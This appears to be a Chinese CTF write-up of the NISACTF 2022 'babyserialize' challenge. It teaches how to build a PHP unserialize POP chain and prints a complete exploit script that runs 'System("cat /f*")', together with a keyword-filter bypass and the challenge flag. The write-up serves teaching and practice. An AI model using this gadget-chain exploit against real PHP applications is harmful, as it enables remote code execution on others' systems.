[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)

news2024/11/25 20:55:07

目录

一、理清pop链并进行标注

二、如何编写相关脚本

三、过滤与绕过

1、waf的绕过

2、preg_match的绕过


做这道题作为pop链的构造很典型,也很有意思,因为还存在一些其他东西。

打开链接,这种很多类的PHP代码多半是需要构造pop链

一、理清pop链并进行标注

 先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数,且参数是txw4ever

 

我们可以利用这个txw4ever,来调用系统函数实现命令执行

OK,下面开始教你们做标注

首先我们找到第一步用到的参数所在位置,并在后面标注清楚需要传入的内容

1可以理解为第一步,shell表示我们这里需要传入一个类似shell的东西或者用system标注

传给谁就标注在谁的后面,这里表示要传给txw4ever,而txw4ever是在NISA类下

标注好后,我们回到PHP源码,往eval上面看,发现需要触发__invoke()函数

__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找)

找到$bb(),它对应的参数是su,且在类Ilovetxw里

同理我们进行标注,表示要调用参数su,传入NISA类

 

标注好后,我们回到PHP源码,往bb上面看,发现需要触发__toString()函数 

__ToString⽅法是当对象被当做字符串的时候会自动调用

继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写

 对应参数 a ,在four类里,我们找到a的位置继续进行标注

因为这里还存在一个if的判断语句,需要符合才能执行后面语句,所有还需要给fun也赋值

因为fun是私有变量,我们最好直接在类里面修改

原来$fun='abc'; 将它修改为下图所示

回到PHP源码,继续往上我们找到__set函数

__set是对不存在或者不可访问的变量进行赋值就会自动调用

于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数

同样进行标注

 

后面我就不详细理下去了,相信你们已经明白了

(不懂的欢迎私信我,可以给你们一对一慢慢详细讲解)

依次往上追到__call函数,__call是对不存在的方法或者不可访问的方法进行调用就自动调用

找到nisa,该类中并不存在这个方法,再往上就找到wakeup函数, 即我们的链头了

该函数在使用unserilize之前就会触发。

以及相关的标注:

我都感觉我讲得太详细了,听懂了的评论区扣个666

至此,我们理清了pop链,并进行了传参的相关标注

二、如何编写相关脚本

先将所有类复制下来放进VS(前面加上<?php)

在这些类后面,我们开始写脚本,我先将完整的能跑出flag的脚本给大家:

<?php

class NISA{
    public $fun="show_me_flag";
    public $txw4ever; // 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}


$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

我们就根据刚才标注的12345顺序来写,用到哪个类时,必须先用new实例化一遍

(哪怕重复用到了某个类,也需要重新实例化一遍,比如上面的Ilovetxw类)

给大家开个头吧,我们先用到NISA类,所以实例化NISA类:$n = new NISA();

$n->txw4ever表示调用这个类里面的txw4ever,后面传入我们想要传入的内容即可

至于为什么改fun的值,我们后面再说;

至此我们完成了1步骤,继续往下看,来到2

我们用到Ilovetxw类,将其实例化,同理根据标注进行调用传参即可

这样我们就可以写出后面所以的脚本了

三、过滤与绕过

这里存在两个需要绕过的地方,源码有给提示

1、waf的绕过

这里有一个hint函数,触发就会输出一些提示的东西

找到hint函数位置,在第一个类,如何绕过这个函数 ,只需让if语句判断不成立即可

所以你现在知道为什么前面我们需要修改fun的值了吧。

如果没有改fun的值,你只能得到一个提示,flag在根目录

 

2、preg_match的绕过

preg_match用来进行正则匹配,但没给匹配的内容,用的......,暗示我们存在关键字的过滤,

这里system被过滤掉了,如果我们原封不动的使用system,不出意外会返回 something wrong

OK,就不跟大家唠叨了,咱直接拿flag

 NSSCTF{eaa7fba4-17d4-4f17-ad15-38f20c0bf961}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/722758.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Excel如何排序?掌握3种排序方法!

我是个刚开始学习Excel的新手&#xff0c;对很多Excel的知识都不太熟悉。今天使用Excel进行表格排序时我又遇到了一些问题。请问Excel如何排序呢&#xff1f;希望给我一些建议。 在Excel中&#xff0c;排序是一种常见且有用的数据处理操作&#xff0c;它可以帮助您按照特定的规…

Java编译器IDE-Java学习帮手(移动端)

应用商店搜索"java" 编码测试 import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List;public class SplitTime {private static List<Date> dateSplit(Date start…

【回溯算法part02】| 216.组合总和III、17.电话号码的字母组合

目录 &#x1f388;LeetCode216.组合总和||| ✨剪枝优化 &#x1f388;LeetCode17.电话号码的字母组合 &#x1f388;LeetCode216.组合总和||| 链接&#xff1a;216.组合总和||| 找出所有相加之和为 n 的 k 个数的组合&#xff0c;且满足下列条件&#xff1a; 只使用数…

SONY索尼MP4视频变RSV文件修复方法

索尼MP4变RSV的原因分析 索尼新型号相机或者摄像机&#xff0c;如SONY A7S3&#xff0c;A7M4&#xff0c;FX3, FX6, FX9等&#xff0c;如果录像过程中有发生如下异常情况&#xff0c;如断电&#xff0c;死机&#xff0c;电量不足&#xff0c;机器摔倒&#xff0c;非常规操作&a…

confluence_table数据爬取

需求场景&#xff1a; 获取指定confluence文档中的表格数据&#xff0c;同时将页面中的附件下载在指定的文件夹中。 实现步骤&#xff1a; 开启confluence的远程api端口 选择使用的接口。 可以参考 官方接口文档 。 当前示例用到的接口为&#xff1a; Get content /rest/a…

现在开始学linux驱动内核好吗?

一开始是觉得&#xff0c;内核诶&#xff0c;高大上。然后看了几个月驱动后&#xff0c;是认认真真的钻了几个月源码&#xff0c;写了很多学习笔记的那种。 先说好处吧&#xff0c;对基础能力的提升很明显。比如内核数据结构&#xff0c;指针&#xff0c;以及如何用c需要去完成…

Windows系统上安装Node.js图文步骤流程

Windows系统上安装Node.js图文步骤流程&#xff0c;本文以安装Node.js v4.4.3 LTS(长期支持版本)版本为例&#xff1a; 目录 Node.js下载 Windows 上安装 Node.js 1、Windows 安装包(.msi) 2、Windows 二进制文件 (.exe)安装 版本测试 Node.js下载 Node.js 安装包及源码…

Linux扩容和删除运行内存(swapfile 交换文件)

1 新增swapfile 交换文件 Linux中Swap&#xff08;即&#xff1a;交换分区&#xff09;&#xff0c;类似于Windows的虚拟内存&#xff0c;就是当内存不足的时候&#xff0c;把一部分硬盘空间虚拟成内存使用,从而解决内存容量不足的情况。Android是基于Linux的操作系统&#xf…

Cyclo(L-Pro-L-Trp-),38136-70-8,L型氨基酸环二肽,及其参数说明

&#xff08;文章资料汇总来源于&#xff1a;陕西新研博美生物科技有限公司小编MISSwu&#xff09; 为大家介绍&#xff08;CAS&#xff1a;38136-70-8&#xff09;,试剂仅用于科学研究&#xff0c;不可用于人类&#xff0c;非药用&#xff0c;非食用。 分子式&#xff1a;C16…

vscode的代码工作区实现机制

工作区是编辑器的重要部分&#xff0c;它承载着编辑器和本地文件的连接&#xff0c;对文件增、删、改、查。下面我会介绍vscode工作区的创建。同样我们知道vscode软件打开的时候没有默认工作区&#xff0c;这里我对它进行了改造&#xff0c;软件启动时指向默认工作区。 工作区目…

使用PLSQL导入excel数据

1、写查询语句&#xff0c;查询需要修改的表&#xff0c;并在语句后加for update。 select * from bn_inf_apply for update 2、打开excel&#xff0c;整理需要导入的数据&#xff0c;需要注意两点&#xff1a; 1、将标题行删除。 2、在首列左侧增加一个空白行 3、 选中exce…

React02-JSX 语法

一、React 基础知识 1. React.createElement React.createElement 是 jsx 语法的编译结果&#xff0c;这个函数用来创建一个 React 元素&#xff0c;它的返回值是一个 Virtual DOM&#xff08;虚拟DOM&#xff09;。 React.createElement(type, props, ...children) 第一个…

数据库之MySQL仓库安装

目录 数据库之MySQL仓库安装 在官方文档获得安装地址 点击链接进入后&#xff0c;选择 MySQL Yum Repository 进入网页后&#xff0c;选择自己Linux所对应的版本&#xff08;我的是Linux8&#xff09; 选择No thanks&#xff0c;juststart my download 选择复制链接地址 …

12.1 计算机硬件基础

目录 底层课程导学 课程回顾 1.编程基础 2.应用开发&#xff08;使用操作系统提供的函数开发应用程序&#xff09; 3.底层开发&#xff08;开发操作系统本身&#xff0c;向下管理硬件、向上提供接口&#xff08;API&#xff09;&#xff09; 嵌入式系统分层 应用开发 底…

PLC技能引领自动化控制系统的设计与开发

学习了PLC后&#xff0c;您可以从事各种与自动化控制系统相关的工作。以下是一些可能的职业方向&#xff1a; 自动化工程师&#xff1a;作为自动化工程师&#xff0c;您将负责设计、开发和维护自动化控制系统&#xff0c;其中包括PLC编程、传感器和执行器的集成以及系统调试和…

CAD怎么转JPG图片?三种方法教你快速转换

CAD文件只能在安装了CAD软件的电脑上打开&#xff0c;而JPG图片可以在几乎所有设备上打开&#xff0c;包括电脑、手机和平板电脑等&#xff0c;这样可以更方便地分享和传递设计文件。无需考虑对方是否有安装CAD软件。那么我们怎么把CAD文件转换成JPG图片呢&#xff1f;教大家三…

管理类联考——英语——趣味篇——不择手段——c开头单词

&#x1f3e0;个人主页&#xff1a;fo安方的博客✨ &#x1f482;个人简历&#xff1a;大家好&#xff0c;我是fo安方&#xff0c;考取过HCIE Cloud Computing、CCIE Security、CISP、RHCE、CCNP RS、PEST 3等证书。&#x1f433; &#x1f495;兴趣爱好&#xff1a;b站天天刷&…

CMIS_GOV_STD

自然资源“一张图”综合管理系统【标准版】

shell脚本-cp命令复制目录报错cp: omitting directory

cp 复制目录报错&#xff0c;如下&#xff1a; 【报错原因】&#xff1a; cp命令默认是不能复制目录的&#xff0c;需要加参数 【解决办法】&#xff1a; 使用cp -r命令进行复制&#xff0c;递归处理&#xff0c;将指定目录下的所有文件与子目录一并处理。 【拓展】cp语法 cp…

数据标注:数字病理学中的人工智能

在数字病理学中&#xff0c;组织样本的显微图像被传输到计算机&#xff0c;并使用先进的图像处理技术和计算机视觉对其进行分析。 医学图像和诊断的数字化为病理学中的人工智能开辟了途径。病理学家可以使用机器学习模型来进行增强分析并提高结果准确性。此外&#xff0c;病理学…